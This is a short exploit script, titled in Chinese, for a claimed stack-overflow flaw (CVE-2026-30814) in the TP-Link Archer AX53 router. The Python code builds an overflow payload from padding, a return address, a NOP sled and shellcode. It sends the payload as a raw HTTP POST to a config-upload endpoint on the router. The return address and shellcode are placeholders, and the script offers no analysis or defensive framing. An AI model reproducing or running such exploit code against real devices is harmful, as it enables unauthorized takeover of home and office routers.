CVE-2026-30814 TP-Link Archer AX53 栈溢出漏洞

import socket import struct # Target configuration TARGET_IP = "192.168.0.1" TARGET_PORT = 8080 def create_exploit_payload(): # Buffer offset calculated based on vulnerability analysis offset = 1024 # Overwrite return address (Example address, needs adjustment) # This address usually points to a JMP ESP or similar gadget in libc ret_addr = struct.pack("<I", 0xdeadbeef) # NOP sled for landing stability nop_sled = b"\x90" * 32 # Shellcode placeholder (e.g., bind shell) # Real shellcode bytes would go here shellcode = b"\xcc" * 64 # Construct payload: Padding + Ret Address + NOPs + Shellcode payload = b"A" * offset + ret_addr + nop_sled + shellcode return payload def send_exploit(): payload = create_exploit_payload() try: # Connect to the vulnerable tmpServer service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Simulate sending a malicious configuration file # The protocol specifics depend on reverse engineering the service header = b"POST /config_upload HTTP/1.1\r\n" header += b"Host: " + TARGET_IP.encode() + b"\r\n" header += b"Content-Length: " + str(len(payload)).encode() + b"\r\n\r\n" s.send(header + payload) print("[+] Exploit payload sent successfully.") s.close() except Exception as e: print(f"[-] Error sending exploit: {e}") if __name__ == "__main__": send_exploit()